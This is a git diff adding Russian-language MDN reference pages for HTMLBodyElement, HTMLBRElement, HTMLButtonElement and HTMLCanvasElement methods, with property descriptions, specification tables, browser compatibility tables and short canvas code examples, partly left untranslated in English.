Это {{domxref("DOMString")}} представляющий список из одного или более имени шрифтов. Текст документа отображается в стиле по умолчанию, первым поддерживаемым клиентским браузером шрифтом. Если нет установленного шрифта на локальной системе, браузер обычно по умочанию, устанавливает пропорциональный или фиксированной ширины шрифт для этой системы.
+
HTMLBaseFontElement.size
+
{{domxref("DOMString")}} предоставляет размер шрифта или как числовое значение или как относительное значение. Числовые значения в диапозоне от 1 до 7, где 1 самое маленькое значение и три значение по умолчанию. Относительное значение начинается с '+' или '-'.
+
+ +

Методы

+ +

Не имеет специфичных методов; наследует методы от родителя, {{domxref("HTMLElement")}}.

+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('DOM2 HTML')}}{{Spec2('DOM2 HTML')}}Удалено.
{{SpecName('DOM1', "level-one-html.html#ID-32774408", "HTMLBaseFontElement")}}{{Spec2('DOM1')}}Изначальное описание.
+ +

Совместимость с браузерами

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
СвойствоChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Базовая поддержка{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
СвойствоAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Базовая поддержка{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

Смотрите также

+ + diff --git a/files/ru/web/api/htmlbodyelement/index.html b/files/ru/web/api/htmlbodyelement/index.html new file mode 100644 index 0000000000..6fdca0b453 --- /dev/null +++ b/files/ru/web/api/htmlbodyelement/index.html @@ -0,0 +1,194 @@ +--- +title: HTMLBodyElement +slug: Web/API/HTMLBodyElement +translation_of: Web/API/HTMLBodyElement +--- +
{{APIRef("HTML DOM")}}
+ +

HTMLBodyElement интерфейс предоставляющий специальные свойства (помимо этого, они постоянно наследуют {{ domxref("HTMLElement") }} интерфейс) для манипуляции элементами тела.

+ +

Свойства

+ +

Наследует свойства о его родителя, {{domxref("HTMLElement")}} и от {{domxref("WindowEventHandlers")}}.

+ +
+
{{domxref("HTMLBodyElement.aLink")}} {{obsolete_inline}}
+
Это {{ domxref("DOMString") }} который представляет цвет активных гиперссылок.
+
{{domxref("HTMLBodyElement.background")}} {{obsolete_inline}}
+
Это {{ domxref("DOMString") }} который представляет собой описание расположения фонового изображения ресурса. Обратите внимание, что это не URI, хотя в некоторых старых версиях некоторых браузеров ожидается именно это.
+
{{domxref("HTMLBodyElement.bgColor")}} {{obsolete_inline}}
+
Это {{ domxref("DOMString") }} который представляет собой цвет фона для документа.
+
{{domxref("HTMLBodyElement.link")}} {{obsolete_inline}}
+
Это {{ domxref("DOMString") }} который представляет собой цвет непосещенных ссылок.
+
{{domxref("HTMLBodyElement.text")}} {{obsolete_inline}}
+
Это {{ domxref("DOMString") }} который представляет собой основной цвет текста.
+
{{domxref("HTMLBodyElement.vLink")}} {{obsolete_inline}}
+
Это {{ domxref("DOMString") }} который представляет собой цвет посещенных ссылок.
+
+ +

Методы

+ +

Не имеет специфичных методов; наследует методы от его родителя, {{domxref("HTMLElement")}} и от {{domxref("WindowEventHandlers")}}.

+ +

Обработчики событий

+ +

Не имеет специфичных обработчиков событий; наследует обработчики событий от его родителя, {{domxref("HTMLElement")}} и от {{domxref("WindowEventHandlers")}}.

+ +
+
{{domxref("WindowEventHandlers.onafterprint")}}
+
Это {{domxref("EventHandler")}} представляющий собой код который будет вызван когда {{event("afterprint")}} событие будет вызвано.
+
{{domxref("WindowEventHandlers.onbeforeprint")}}
+
Это {{domxref("EventHandler")}}  представляющее собой код который будет вызван когда событие {{event("beforeprint")}} вызвано.
+
{{domxref("WindowEventHandlers.onbeforeunload")}}
+
Это {{domxref("EventHandler")}} представляющее собой код который будет вызван когда событие {{event("beforeunload")}} вызванно.
+
{{domxref("WindowEventHandlers.onhashchange")}}
+
Это {{domxref("EventHandler")}}  представляющее собой код который будет вызван когда событие {{event("hashchange")}} вызванно.
+
{{domxref("WindowEventHandlers.onlanguagechange")}} {{experimental_inline}}
+
Это {{domxref("EventHandler")}}  представляющее собой код который будет вызван когда событие {{event("languagechange")}} вызванно.
+
{{domxref("WindowEventHandlers.onmessage")}}
+
Это {{domxref("EventHandler")}}  представляющее собой код который будет вызван когда событие {{event("message")}} вызванно.
+
{{domxref("WindowEventHandlers.onoffline")}}
+
Это {{domxref("EventHandler")}}  представляющее собой код который будет вызван когда событие {{event("offline")}} вызванно.
+
{{domxref("WindowEventHandlers.ononline")}}
+
Это {{domxref("EventHandler")}}  представляющее собой код который будет вызван когда событие {{event("online")}} вызванно.
+
{{domxref("WindowEventHandlers.onpagehide")}}
+
Это {{domxref("EventHandler")}}  представляющее собой код который будет вызван когда событие {{event("pagehide")}} вызванно.
+
{{domxref("WindowEventHandlers.onpageshow")}}
+
Это {{domxref("EventHandler")}}  представляющее собой код который будет вызван когда событие {{event("pageshow")}} вызванно.
+
{{domxref("WindowEventHandlers.onpopstate")}}
+
Это {{domxref("EventHandler")}}  представляющее собой код который будет вызван когда событие {{event("popstate")}} вызванно.
+
{{domxref("WindowEventHandlers.onresize")}}
+
Это {{domxref("EventHandler")}}  представляющее собой код который будет вызван когда событие {{event("resize")}} вызванно.
+
{{domxref("WindowEventHandlers.onstorage")}}
+
Это {{domxref("EventHandler")}}  представляющее собой код который будет вызван когда событие {{event("storage")}} вызванно.
+
{{domxref("WindowEventHandlers.onunload")}}
+
Это {{domxref("EventHandler")}}  представляющее собой код который будет вызван когда событие {{event("unload")}} вызванно.
+
+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('HTML WHATWG', "sections.html#the-body-element", "HTMLBodyElement")}}{{Spec2('HTML WHATWG')}}Технически, событийно связанные свойства, onafterprint, onbeforeprint, onbeforeunload, onblur, onerror, onfocus, onhashchange, onlanguagechange, onload, onmessage, onoffline, ononline, onpopstate, onresize, onstorage, и onunload, были перемещены в {{domxref("WindowEventHandlers")}}, и HTMLBodyElement реализует этот интерфейс.
{{SpecName('HTML5.1', "sections.html#the-body-element", "HTMLBodyElement")}}{{Spec2('HTML5.1')}} 
{{SpecName('HTML5 W3C', "sections.html#the-body-element", "HTMLBodyElement")}}{{Spec2('HTML5 W3C')}}Следующие свойства в настоящее время устарели: aLink, bgColor, background, link, text, and vLink.
+ Следующие свойства были добавлены: onafterprint, onbeforeprint, onbeforeunload, onblur, onerror, onfocus, onhashchange, onload, onmessage, onoffline, ononline, onpopstate, onresize, onstorage, and onunload.
{{SpecName('DOM2 HTML', 'html.html#ID-62018039', 'HTMLBodyElement')}}{{Spec2('DOM2 HTML')}}не измелось с  {{SpecName("DOM1")}}.
{{SpecName('DOM1', 'level-one-html.html#ID-62018039', 'HTMLBodyElement')}}{{Spec2('DOM1')}}Изначальное описание.
+ +

Совместимость с браузерами

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
СвойствоChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Базовая поддержка1.0{{CompatGeckoDesktop(1.0)}} [1]4.0{{CompatVersionUnknown}} [1]{{CompatVersionUnknown}}
onXYZ обработчики событий{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
onlanguage{{CompatUnknown}}{{CompatGeckoDesktop(32)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
СвойствоAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Базовая поддержка{{CompatVersionUnknown}}{{CompatGeckoMobile(1.0)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
onXYZ обработчики событий{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
onlangugage{{CompatUnknown}}{{CompatGeckoMobile(32)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

[1] Firefox до версии Firefox 7.0 и некоторые старые версии Opera возвращают URI для атрибута HTMLBodyElement.background.

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/htmlbrelement/index.html b/files/ru/web/api/htmlbrelement/index.html new file mode 100644 index 0000000000..a8f4efad48 --- /dev/null +++ b/files/ru/web/api/htmlbrelement/index.html @@ -0,0 +1,125 @@ +--- +title: HTMLBRElement +slug: Web/API/HTMLBRElement +translation_of: Web/API/HTMLBRElement +--- +
+
{{APIRef("HTML DOM")}}
+
+ +
 
+ +

HTMLBRElement интерфейс представляющий HTML элемент линии разрыва ({{htmlelement("br")}}). Это унаследовано от {{domxref("HTMLElement")}}.

+ +

Свойства

+ +

Наследует свойства от его родителя, {{domxref("HTMLElement")}}.

+ + + + + + + + + + + + + + + + +
ИмяТипОписание
clear {{obsolete_inline}}{{domxref("DOMString")}}Отображает поток текста, вокруг обтекаемого объекта.
+ +

Методы

+ +

Нет специфичных методов; наследует методы от его родителя, {{domxref("HTMLElement")}}.

+ +

Спецификация

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('HTML WHATWG', "text-level-semantics.html#the-br-element", "HTMLBRElement")}}{{Spec2('HTML WHATWG')}}Не изменилась с {{SpecName("HTML5 W3C")}}
{{SpecName('HTML5 W3C', "text-level-semantics.html#the-br-element", "HTMLBRElement")}}{{Spec2('HTML5 W3C')}}Не изменилась с {{SpecName("DOM2 HTML")}}
{{SpecName('DOM2 HTML', 'html.html#ID-56836063', 'HTMLBodyElement')}}{{Spec2('DOM2 HTML')}}Не изменилась с  {{SpecName("DOM1")}}.
{{SpecName('DOM1', 'level-one-html.html#ID-56836063', 'HTMLBodyElement')}}{{Spec2('DOM1')}}Изначальное описание.
+ +

Совместимость с браузерами

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
СвойствоChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Базовая поддержка1.0{{CompatGeckoDesktop(1.0)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
СвойствоAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Базовая поддержка{{CompatVersionUnknown}}{{CompatGeckoMobile(1.0)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

Смотрите также

+ + diff --git a/files/ru/web/api/htmlbuttonelement/index.html b/files/ru/web/api/htmlbuttonelement/index.html new file mode 100644 index 0000000000..8e9999b2ff --- /dev/null +++ b/files/ru/web/api/htmlbuttonelement/index.html @@ -0,0 +1,308 @@ +--- +title: HTMLButtonElement +slug: Web/API/HTMLButtonElement +translation_of: Web/API/HTMLButtonElement +--- +
{{APIRef("HTML DOM")}}
+ +

Интерфейс HTMLButtonElement предоставляет свойства и методы для управления элементами {{HTMLElement("button")}} (помимо обычного интерфейса {{domxref("HTMLElement")}}, он также доступен - по наследованию) .

+ +

{{InheritanceDiagram(600, 120)}}

+ +

Свойства

+ +

Наследует свойства от его родителя, {{domxref("HTMLElement")}}.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ИмяТипОписание
accessKey{{domxref("DOMString")}}Определенная кнопка клавиатуры, дающая доступ к кнопке.
autofocus{{domxref("Boolean")}}Управление должно получить фокус ввода при загрузки страницы, пока пользователь не отменяет его, например, набирая на клавиатуре в другом контроле. Только один формо-ассоциированный элемент в документе может иметь указанный атрибут.
disabled{{domxref("Boolean")}}Контроль выключен, что означает, он не принимает любых кликов.
form {{readonlyInline}}{{domxref("HTMLFormElement")}}Форма этой кнопки связана с ней. Если кнопка потомок элемента формы, то этот атрибут ID этого элемента формы.
+ Если форма не связана с формой элемента, то атрибут может быть ID любой формы элемента в том же документе, или значение null если нет совпадений.
formAction{{domxref("DOMString")}} +

URI ресурса, обрабатывающего информацию, отправленную кнопкой. Если задан, то переопределяет {{htmlattrxref("action", "form")}} атрибут {{HTMLElement("form")}} элемента, который является его владельцем.

+
formEncType{{domxref("DOMString")}}Тип содержимого, используемый для отправки формы на серевер. Если указан этот атрибут, то он переопределяет {{htmlattrxref("enctype", "form")}} атрибут элемента {{HTMLElement("form")}}, который является владельцем этого элемента.
formMethod{{domxref("DOMString")}} +

HTTP метод, который браузер использует для отправки формы. Если задан, тогда он  переопределяет {{htmlattrxref("method", "form")}} атрибут {{HTMLElement("form")}} своего владельца.

+
formNoValidate{{domxref("Boolean")}} +

Показывает что форма не будет проверена при отправке. Если задано, тогда переопределяет {{htmlattrxref("novalidate", "form")}} атрибут {{HTMLElement("form")}} своего владельца.

+
formTarget{{domxref("DOMString")}} +

Имя или ключевое слово, указывающее, где должен отображаться ответ, полученный после отправки формы. Если задано, тогда  переопределяет {{htmlattrxref("target", "form")}} атрибут {{HTMLElement("form")}} своего владельца.

+
labels {{readonlyInline}}{{domxref("NodeList")}}Список элементов {{HTMLElement("label")}}, которые являются метками для этой кнопки.
menu {{experimental_inline}}{{domxref("HTMLMenuElement")}}Элемент меню, который будет отображаться, если кнопка нажата и имеет тип type="menu".
name{{domxref("DOMString")}} +

Имя объекта отправляемое с формой. {{HTMLVersionInline(5)}}Если задано, не должно быть пустой строкой.

+
tabIndexlong +

Номер, представляющий последовательность перехода между полями при нажатии на Tab

+
type{{domxref("DOMString")}} +

Указывает поведение кнопки. Это перечисляемый атрибут со следующими возможными значениями:

+ +
    +
  • "submit": Кнопка отправки формы. Это значение по умолчанию, если атрибут не определен, {{HTMLVersionInline(5)}} или если он динамически изменяется на пустое или недопустимое значение.
    • +
  • "reset": Кнопка сброса формы.
    • +
  • "button": Кнопка с неопределенным действием.
    • +
  • "menu":  Кнопка показывающая меню (экспериментальная). {{experimental_inline}}
    • +
+
validationMessage {{readonlyInline}}{{domxref("DOMString")}} +

A localized message that describes the validation constraints that the control does not satisfy (if any). This attribute is the empty string if the control is not a candidate for constraint validation (willValidate is false), or it satisfies its constraints.

+
validity {{readonlyInline}}{{domxref("ValidityState")}}The validity states that this button is in.
value{{domxref("DOMString")}}The current form control value of the button.
willValidate{{domxref("Boolean")}}Indicates whether the button is a candidate for constraint validation. It is false if any conditions bar it from constraint validation.
+ +

Methods

+ +

Наследует свойства от его родителя, {{domxref("HTMLElement")}}.

+ + + + + + + + + + + + + + + + + + + + + +
NameReturn TypeDescription
checkValidity(){{domxref("Boolean")}}Not supported for button elements.
setCustomValidity(in DOMString error)voidNot supported for button elements.
+ +

WIth Gecko-based browser, use the {{cssxref(":-moz-submit-invalid")}} pseudo-class to style submit buttons based on the validation of a form.

+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "text-level-semantics.html#the-a-element", "HTMLAnchorElement")}}{{Spec2('HTML WHATWG')}}The following attribute has been added: menu.
+ The type attribute can take one more value, "menu".
{{SpecName('HTML5 W3C', "text-level-semantics.html#the-a-element", "HTMLAnchorElement")}}{{Spec2('HTML5 W3C')}}The attributes tabindex and accesskey, are now defined on {{domxref("HTMLElement")}}.
+ The following attributes have been added: autofocus, formAction, formEncType, formMethod, formNoValidate, formTarget, labels, validity, validationMessage, and willValidate.
+ The following methods have been added: checkValidity(), setCustomValidity().
+ The type attribute is no more read-only.
{{SpecName('DOM2 HTML', 'html.html#ID-ID-48250443', 'HTMLAnchorElement')}}{{Spec2('DOM2 HTML')}}No change from {{SpecName("DOM1")}}.
{{SpecName('DOM1', 'level-one-html.html#ID-48250443', 'HTMLAnchorElement')}}{{Spec2('DOM1')}}Initial definition.
+ +

Browser compatibility

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatVersionUnknown}}{{CompatGeckoDesktop(1.0)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
Form-related attributes{{CompatVersionUnknown}}{{CompatGeckoDesktop(2.0)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
labels{{CompatVersionUnknown}}{{CompatNo}} {{unimplemented_inline(556743)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
menu & type="menu" {{experimental_inline}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatGeckoMobile(1.0)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
Form-related attributes{{CompatVersionUnknown}}{{CompatGeckoDesktop(2.0)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
labels{{CompatVersionUnknown}}{{CompatNo}}{{unimplemented_inline(556743)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
menu & type="menu" {{experimental_inline}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +

See also

+ + diff --git a/files/ru/web/api/htmlcanvaselement/capturestream/index.html b/files/ru/web/api/htmlcanvaselement/capturestream/index.html new file mode 100644 index 0000000000..9240255f86 --- /dev/null +++ b/files/ru/web/api/htmlcanvaselement/capturestream/index.html @@ -0,0 +1,129 @@ +--- +title: HTMLCanvasElement.captureStream() +slug: Web/API/HTMLCanvasElement/captureStream +translation_of: Web/API/HTMLCanvasElement/captureStream +--- +
{{APIRef("Media Capture and Streams")}}{{SeeCompatTable}}
+ +

HTMLCanvasElement.captureStream() метод возвращает {{domxref("CanvasCaptureMediaStream")}}, который является видеозахватчиком (оцифровщиком) в реальном времени на поверхности canvas.

+ +

Синтаксис

+ +
MediaStream = canvas.captureStream(frameRate);
+
+ +

Параметры

+ +
+
frameRate {{optional_inline}}
+
Число двойной точности с плавающей точкой, указывающее частоту захвата каждого фрейма. Если не установлено, новый фрейм будет захватываться каждый раз, как canvas изменится; если установлено в 0, будет захвачен один фрейм.
+
+ +

Возвращаемое значение

+ +

Ссылка на {{domxref("MediaStream")}} объект.

+ +

Исключения

+ +
+
NotSupportedError
+
Параметр frameRate имеет отрицательное значение.
+
+ +

Пример

+ +
// Поиск элемента canvas для захвата
+var canvasElt = document.querySelector("canvas");
+
+// Получение потока
+var stream = canvasElt.captureStream(25); // 25 FPS
+
+// Делать что-то с потоком
+// например, отправить что-то другому компьютеру, используя RTCPeerConnection
+//      pc это RTCPeerConnection, созданное где-то еще
+pc.addStream(stream);
+
+ +

Спецификация

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Media Capture DOM Elements', '#widl-HTMLCanvasElement-captureStream-CanvasCaptureMediaStream-double-frameRate', 'HTMLCanvasElement.captureStream()')}}{{Spec2('Media Capture DOM Elements')}}Initial definition
+ +

Совместимость с браузерами

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatChrome(51.0)}}{{CompatGeckoDesktop(43)}}[1]{{CompatNo}}{{CompatOpera(36.0)}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatNo}}{{CompatChrome(51.0)}}{{CompatChrome(51.0)}}{{CompatGeckoMobile(43)}}{{CompatNo}}{{CompatOpera(38)}}{{CompatUnknown}}
+
+ +

[1] In Firefox 41 and 42, this feature was disabled by default; set the preference canvas.capturestream.enabled to true to enable it.

+ +

Смотри так же

+ + diff --git a/files/ru/web/api/htmlcanvaselement/getcontext/index.html b/files/ru/web/api/htmlcanvaselement/getcontext/index.html new file mode 100644 index 0000000000..3ac02908b7 --- /dev/null +++ b/files/ru/web/api/htmlcanvaselement/getcontext/index.html @@ -0,0 +1,270 @@ +--- +title: HTMLCanvasElement.getContext() +slug: Web/API/HTMLCanvasElement/getContext +translation_of: Web/API/HTMLCanvasElement/getContext +--- +
{{APIRef("Canvas API")}}
+ +

Метод HTMLCanvasElement.getContext() возвращает контекст рисования на холсте, или {{jsxref("null")}}, если идентификатор контекста не определен.

+ +

Синтаксис

+ +
canvas.getContext(contextType, contextAttributes);
+
+ +

Параметры

+ +
+
contextType
+
{{domxref("DOMString")}}, содержащий идентификатор контекста, определяющий контекст рисования, связанный с холстом. Возможные значения: +
    +
  • "2d", ведущий к созданию объекта {{domxref("CanvasRenderingContext2D")}}, представляющий двумерный контекст.
    • +
  • "webgl" (или "experimental-webgl"), который будет создавать объект {{domxref("WebGLRenderingContext")}}, представляющий трехмерный контекст. Этот контекст доступен только в браузерах, которые реализуют {{domxref("WebGL")}} первой версии (OpenGL ES 2.0).
    • +
  • "webgl2" (или "experimental-webgl2"), который будет создавать объект {{domxref("WebGL2RenderingContext")}}, представляющий трехмерный контекст. Этот контекст доступен только в браузерах, которые реализуют {{domxref("WebGL")}} второй версии (OpenGL ES 3.0). {{experimental_inline}}
    • +
  • "bitmaprenderer", который позволит создать {{domxref("ImageBitmapRenderingContext")}}, обеспечивающий только функции для замены содержимого холста с заданным {{domxref("ImageBitmap")}}.
    • +
+ +

Примечание: Идентификаторы "experimental-webgl" или "experimental-webgl2" используются в новых реализациях WebGL. Эти реализации не достигли испытательного набора на соответствие или ситуация с графическими драйверами на платформе еще не стабильна The Khronos Group certifies WebGL implementations under certain conformance rules.

+
+
contextAttributes
+
+

Вы можете использовать несколько атрибутов контекста при создании контекста рендеринга, например:

+ + 
canvas.getContext("webgl",
+                 { antialias: false,
+                   depth: false });
+ 2d атрибуты контекста: + +
    +
  • alpha: Логическое значение, означающее, есть ли у холста альфа-канал. Значение false говорит браузеру, что фон холста непрозрачный, что может ускорить рисование прозрачного содержимого и изображений.
    • +
  • {{non-standard_inline}} (Gecko only) willReadFrequently: Boolean that indicates whether or not a lot of read-back operations are planned. This will force the use of a software (instead of hardware accelerated) 2D canvas and can save memory when calling {{domxref("CanvasRenderingContext2D.getImageData", "getImageData()")}} frequently. This option is only available, if the flag gfx.canvas.willReadFrequently.enable is set to true (which, by default, is only the case for B2G/Firefox OS).
    • +
  • {{non-standard_inline}} (Blink only) storage: String that indicates which storage is used ("persistent" by default).
    • +
+ Атрибуты контекста WebGL: + +
    +
  • alpha: Boolean that indicates if the canvas contains an alpha buffer.
    • +
  • depth: Boolean that indicates that the drawing buffer has a depth buffer of at least 16 bits.
    • +
  • stencil: Boolean that indicates that the drawing buffer has a stencil buffer of at least 8 bits.
    • +
  • antialias: Boolean that indicates whether or not to perform anti-aliasing.
    • +
  • premultipliedAlpha: Boolean that indicates that the page compositor will assume the drawing buffer contains colors with pre-multiplied alpha.
    • +
  • preserveDrawingBuffer: If the value is true the buffers will not be cleared and will preserve their values until cleared or overwritten by the author.
    • +
  • +

    failIfMajorPerformanceCaveat: Boolean that indicates if a context will be created if the system performance is low.

    +
    • +
+
+
+ +

Возвращаемое значение

+ +

{{domxref("RenderingContext")}}, который представляет собой

+ + + +

Если contextType не соответствует возможному контексту рисунка, то возвращается null.

+ +

Примеры

+ +

Given this {{HTMLElement("canvas")}} element:

+ +
<canvas id="canvas" width="300" height="300"></canvas>
+
+ +

You can get a 2d context of the canvas with the following code:

+ +
var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+console.log(ctx); // CanvasRenderingContext2D { ... }
+
+ +

Now you have the 2D rendering context for a canvas and you can draw within it.

+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "scripting.html#dom-canvas-getcontext", "HTMLCanvasElement.getContext")}}{{Spec2('HTML WHATWG')}}No change since the latest snapshot, {{SpecName('HTML5 W3C')}}
{{SpecName('HTML5.1', "scripting-1.html#dom-canvas-getcontext", "HTMLCanvasElement.getContext")}}{{Spec2('HTML5.1')}} 
{{SpecName('HTML5 W3C', "scripting-1.html#dom-canvas-getcontext", "HTMLCanvasElement.getContext")}}{{Spec2('HTML5 W3C')}}Snapshot of the {{SpecName('HTML WHATWG')}} containing the initial definition.
+ +

Совместимость браузеров

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support (2d context){{CompatChrome(4)}}{{CompatGeckoDesktop("1.9.2")}}{{CompatIE(9)}}{{CompatOpera(9)}}{{CompatSafari(3.1)}}
webgl context{{CompatChrome(9)}}[1]
+ {{CompatChrome(33)}}		{{CompatGeckoDesktop('1.9.2')}}[1]
+ {{CompatGeckoDesktop('24')}}		11.0[2]9.0[3]5.1[2]
webgl2 context {{experimental_inline}}{{CompatNo}}{{CompatGeckoDesktop('25')}}[4]{{CompatNo}}{{CompatNo}}{{CompatNo}}
2d alpha context attribute32{{CompatGeckoDesktop(30)}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatNo}}
+

failIfMajorPerformanceCaveat attribute

+ 		{{CompatVersionUnknown}}{{CompatGeckoDesktop(41)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}
bitmaprenderer context{{CompatNo}}{{CompatGeckoDesktop(46)}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support (2d context){{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile("1.9.2")}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
webgl context{{CompatUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}[2]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
webgl2 context {{experimental_inline}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
2d alpha context attribute{{CompatNo}}{{CompatNo}}{{CompatGeckoMobile(30)}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
failIfMajorPerformanceCaveat attribute{{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoMobile(41)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
bitmaprenderer context{{CompatNo}}{{CompatNo}}{{CompatGeckoMobile(46)}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +

[1] Chrome 9 and Gecko 1.9.2 initially implemented this as experimental-webgl. Since Chrome 33 and Gecko 24 it is implemented as the standard webgl.

+ +

[2] Internet Explorer 11, WebKit 5.1 and Firefox Mobile implemented this as experimental-webgl.

+ +

[3] Opera 9 implemented this as experimental-webgl, behind a user preference, in version 15.0 the user preference got removed.

+ +

[4] Gecko 25 implements this as "experimental-webgl2" behind the user preference webgl.enable-prototype-webgl2. Starting with Gecko 42, the string "webgl2" is used behind the same preference.

+ +

Смотри также

+ + diff --git a/files/ru/web/api/htmlcanvaselement/index.html b/files/ru/web/api/htmlcanvaselement/index.html new file mode 100644 index 0000000000..7a2b4d9d2c --- /dev/null +++ b/files/ru/web/api/htmlcanvaselement/index.html @@ -0,0 +1,247 @@ +--- +title: HTMLCanvasElement +slug: Web/API/HTMLCanvasElement +tags: + - API + - Canvas + - HTML DOM + - Interface + - NeedsTranslation + - Reference + - TopicStub +translation_of: Web/API/HTMLCanvasElement +--- +
+
{{APIRef("Canvas API")}}
+
+ +

Интерфейс HTMLCanvasElement предоставляет свойства и методы для управления расположением и представлением элеметов canvas. Он также наследует свойства и методы интерфейса {{domxref("HTMLElement")}}.

+ +

Свойства

+ +

Наследуются от родителя, {{domxref("HTMLElement")}}.

+ +
+
{{domxref("HTMLCanvasElement.height")}}
+
Положительное целое число, отражающее HTML-атрибут {{htmlattrxref("height", "canvas")}} элемента {{HTMLElement("canvas")}} (воспринимается в пикселях CSS). Если атрибут не определён или имеет некорректное значение (например отрицательное), используется зачение по умолчанию  — 150.
+
{{domxref("HTMLCanvasElement.mozOpaque")}} {{non-standard_inline}}
+
Объект {{jsxref("Boolean")}}, отражающий HTML-атрибут {{htmlattrxref("moz-opaque", "canvas")}} элемента {{HTMLElement("canvas")}}. Сообщает холсту, будет ли присутствовать прозрачность. Если холсту известно, что прозрачность не используется, отрисовка может быть оптимизирована.
+
{{domxref("HTMLCanvasElement.width")}}
+
Положительное целое число, отражающее HTML-атрибут {{htmlattrxref("width", "canvas")}} элемента {{HTMLElement("canvas")}} (воспринимается в пикселях CSS). Если атрибут не определён или имеет некорректное значение (например отрицательное), используется зачение по умолчанию  — 300.
+
{{domxref("HTMLCanvasElement.mozPrintCallback")}}{{non-standard_inline}}
+
Is a function that is Initially null, Web content can set this to a JavaScript function that will be called if the page is printed. This function can then redraw the canvas at a higher resolution that is suitable for the printer being used. See this blog post.
+
+ +

Методы

+ +

Наследуются от родителя, {{domxref("HTMLElement")}}.
